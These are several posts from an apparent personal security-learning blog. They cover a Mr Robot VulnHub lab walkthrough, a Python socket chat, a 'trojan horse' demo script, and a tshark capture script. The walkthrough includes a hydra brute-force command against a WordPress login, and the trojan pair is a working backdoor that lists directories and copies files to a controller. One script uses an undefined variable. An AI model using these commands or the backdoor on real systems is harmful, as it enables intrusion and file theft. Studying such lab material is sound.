Wednesday, July 13, 2022

Mr Robot 1 from Vulhub Part 4

 Now I was left with the dictionary file I found on the robot.txt file, my guess is its location is at the root directory of the website. So I plan to download the file but before doing that, I would like to play a guessing game. It is quite known that unsecured wordpress blogs usually have weakness that are easily exploitable. I would like to check if my theory is correct by trying to login into the wordpress site using the name of the characters in the tv series. And it seems I found the user, by typing elliot, darlene and tyrell and some random name ahmad. See the error messages:

 

All of the error messages are the same except elliot, the lead character, it is obvious that elliot is a valid username. But what if it is not based on a tv series, that would leave me no choice but to use brute force in guessing the username. To do that I would need lots of words probably billions but maybe the dic file suggests a clue, so I m going to use it but first I need to download it, and to do this, I will use the wget command by typing the following at the command prompt: wget 192.168.3.3/fsocity.dic and to display its contents type: cat fsocity.dic. It really contain lots and lots of words. So I will use it to generate wordlist.dic by typing: cat fsocity.dic | sort -u | uniq > wordlist.dic and now I am ready to perform the brute force attack by using hydra. I just typed the following to carry out the attack: hydra -V -L wordlist.dic -p 123 192.168.3.3 http-post-form ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username’. I did not let the tool finish its work because I already saw a green row:

it was the same as I have predicted: it contained the word "elliot".


To be continued...





Tuesday, July 12, 2022

A simulation of a Cyber Attack

I want to check if wireshark can capture packets during a cyber attack by experimenting a simulated cyber attack. The scenario is that the cyber attack was spotted at port 8080 using TCP protocol. The attacker is using a simple python script(the popchat.py).

So I immediately run wireshark and the result is astonishing, the packets was indeed captured live see image below.


I used my ip address as display filter to limit the packets being captured since my pc is capturing tons 0f packets. It was really easy to find the packets that I am interested in because I know the port number and the protocol used(TCP) and by clicking the row(both source and destination) I am able to capture the message exchange between the server and slave. The payload was the word "hi" and "hello", in actual hacking incidences, it could have been an instruction to delete a file, download a file, or upload a file(a ransomware perhaps).

Hacking can be done through using this method and it seems a network packet scanner can be created to prevent this from happening(just an idea).


Monday, July 11, 2022

Mr Robot 1 from Vulhub Part 3

 In just a short recap, in part 1, I have gained network entry and a valuable lesson and that is to isolate the virtualbox environment from the internet while in part 2 I have discovered that a Wordpress blog is being hosted on my target device but my question is what if I did not typed the ip address on a browser with the allowed commands, what other methods is possible to use to allow me to discover something about the ip address, nmap has already showed that 443 and 80 are open ports suggesting already that it hosts a website.

Before I answer that question, I still need to perform an optional audit check on the http port using wapiti to enable me to gain an insight of the overall picture. I just typed wapiti -u https://192.168.3.3 at the command prompt and the result was in a form html link and here is the result:

 




Wapiti found several vulnerabilities which I think the pen testing should go on.

To answer that question, the other popular Kali pen test tool is Nikto. Just type nikto -h 192.168.3.3  for finding allowed webpages.  I got the following result:



which suggests that there is a wordpress login system

Knowing that a website is active, I predict that a robots.txt file which is to control web crawling bots(it is a usual practice of web developers that robots.txt is really a necessity.) so randomly, I typed in 192.168.3.3/robots.txt and I was right, I got the following result:

What if I don't have knowledge in web development,  I could have not known that a robot.txt file existed at all. There is a way to check the root directory by using script http-enum. this is an nmap option that enumerates directories used by popular web applications and servers. So I just typed in nmap  -sV --script=http-enum.nse 192.168.3.3 and I found robot.txt file(see resulting output). This command is also another alternative to nikto because the output also shows that a wordpress website is being hosted on the ip address.


By examining the file's content, fsocity.dic is a dictionary file, fsocity in the actual tv program is the organization that brought down the Evil Conglomerate, and.dic files usually contain words, so I think it suggest that it contains the possible password and username which will allow me to gain entry into the computer? 

To be continued...

Sunday, July 10, 2022

Trojan horse type Python Script

A trojan horse virus is a type of software that don't only enable a hacker gain entry into a target computer or server but enables a hacker deliver the payload, steal important files delete these files and worse destroy the target computer. It serves as the gate opener. In today's post, I have prepared a simple python script(although it is still half baked, it is only meant to demonstrate how a trojan horse type software can actually do) to show how to display the directories, filenames and download a file. Other operations such as, uploading a file, shutting down the target host or deleting a file is not covered. 

I used python socket library achieve this particular goal, in fact the program structure is very similar to the chat script that I created in my other post, in fact hackers create chat scripts like those, make it very attractive to their targets and hide these malicious codes.

Speaking of the delivery systems that hackers use, I have been thinking of  these methods as a possibility that you will be able to get this software by not being aware that you have it:

  • Downloading of files from unsecured servers
  • Visiting websites that have very low reputation
  • Clicking of links from phishing emails
  • Inserting usb  devices and memory cards without scanning for viruses
  • Unupdated Anti Virus
  • No firewalls
  • Using hackable passwords

The code:

1. Controlling software:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import socket

x = socket.socket()
host='DESKTOP-IMR6DAM'#my pc name
port=4040
x.bind((host,port))
print("")
x.listen(1)
conn,addr = x.accept()
print("")


while 1:
  command = input(str("Command >> "))#enter command
  if command == "dir":
    conn.send(command.encode())
    print("")
    files = conn.recv(5000)
    files = files.decode()
    print("Command output: " , files)
  elif command == "files":
    conn.send(command.encode())
    user_input = input(str("Folder: "))
    conn.send(user_input.encode())
    print(" ")
    files = conn.recv(5000)
    files = files.decode()
    print("Files(List Format): " , files)
  elif command == "copyfile":
    conn.send(command.encode())
    filepath= input(str("Filename: "))
    conn.send(filepath.encode())
    print("")
    files = conn.recv(100000)  
    filename= input(str("Filename: "))    
    new_file=open(filename, "wb")
    new_file.write(files)
    print("")
    new_file.close()
  else:
    print("Invalid Command")
  

2. Gate opener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import socket

s = socket.socket()
port=4040
host = 'DESKTOP-IMR6DAM'#this will depend on your hostname
s.connect((host,port))
print("")

while 1:
  command = s.recv(1024)#recieve command
  command = command.decode()
  if command == "dir":
     files = os.getcwd()
     files = str(files)    
     s.send(files.encode())
     print(" ")
  elif command == "files":
    user_input = s.recv(5000)
    user_input = user_input.decode()
    files = os.listdir(user_input)
    files = str(files)
    s.send(files.encode())
    print(" ")
  elif command == "copyfile":
    filepath = s.recv(5000)
    filepath = filepath.decode()
    file = open(filepath,"rb")
    data = file.read()
    s.send(data)
    print("")
  else:
    print("Invalid Command")


Saturday, July 9, 2022

Python A Simple Chat Script

 This is a simple chat application using python socket library. The script accept the following input arguments:

Argv 1 = enter 1(server) or 2(client)

Argv 2 = port number

Argv 3 = host

To run the program as server: python popchat.py 1 8080 test(any string)

To run the program as a client: python popchat.py 2 8080 hostname

 If run on a different pc, replace the host in server with '0.0.0.0' and firewall may have to be disabled(be careful).

I use the following code to disable/enable my firewall:(Windows 10):

1
2
import subprocess
subprocess.check_call('netsh.exe advfirewall set publicprofile state on')

Use "on" to enable the firewall and "off" to disable.

The output:


The code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import sys
import os
import socket


def popper():
 print("")
 s.listen(1)
 print("")
 conn,addr = s.accept()
 while 1:
     
    command = input(str("Command >> "))
    conn.send(command.encode())
    files = conn.recv(5000)
    files = files.decode()
    print(files)
    
  

def poppee():
  while 1:
    
    
    files = s.recv(5000)
    files = files.decode()
    print(files)
    
    command = input(str("Command >> "))
    s.send(command.encode()) 
    
if __name__ == "__main__":
   s = socket.socket()
   port=sys.argv[2]
   print(sys.argv[1],sys.argv[2])
   if sys.argv[1] == '1':
     host=socket.gethostname()
     print(host)
     s.bind((host,int(port)))
     popper()
   else:
     host = sys.argv[3]
     print(host)
     s.connect((host,int(port)))
     poppee()    



Friday, July 8, 2022

Python Machine Learning Threat Hunting with Wireshark Part 2

 Analyzing the individual packets on a network might seem to be be very accurate but very impractical because of large data involve. Analyzing the packet's metadata would seem to be a better way to approach the problem. Metadata only involves the time, ip destination and ip source. Once data are obtained, each ip will be further analyzed based on its rated reputation this is done by using the following online tools:

  • MX ToolBox
  • CISCO Senderbase
  • McAfee TrustedSource
  • Spamhaus
  • Project Honeypot

 And to capture the pcap file and covert it to csv file, I use the following python script:

1
2
3
4
5
6
import os
import pandas as pd
os.system("tshark -i 3 -T fields -E separator=, -e frame.time -e ip.src -e ip.dst -e udp.srcport -e udp.dstport  -w Eavesdrop_Data.pcap > Eavesdrop_Data.csv -F pcap -a duration:20")
df = pd.read_csv('Eavesdrop_Data.csv')
new_df = new_df.dropna()
new_df.to_csv("Eavesdrop_Data.csv")

Once the data captured, I will use selenium to submit the ip addresses to above mentioned online tools.

....(to be continued)

Thursday, July 7, 2022

Mr Robot 1 from Vulhub Part 2

To check all devices connected to our network, there are 2 ways which are to use nmap and / or netdiscover command. Remember I have no idea what I am looking for all I know is that I was asked to conduct penetration test and assuming I already have gained entry to the network which I just did in part 1, all I have to do is to wait for every employee go home so that only the server will be up and running so basically, if I scan the network, only the server and my pc will be connected and the way to find this device is to use nmap and netdiscover and I will compare the results of these command lines.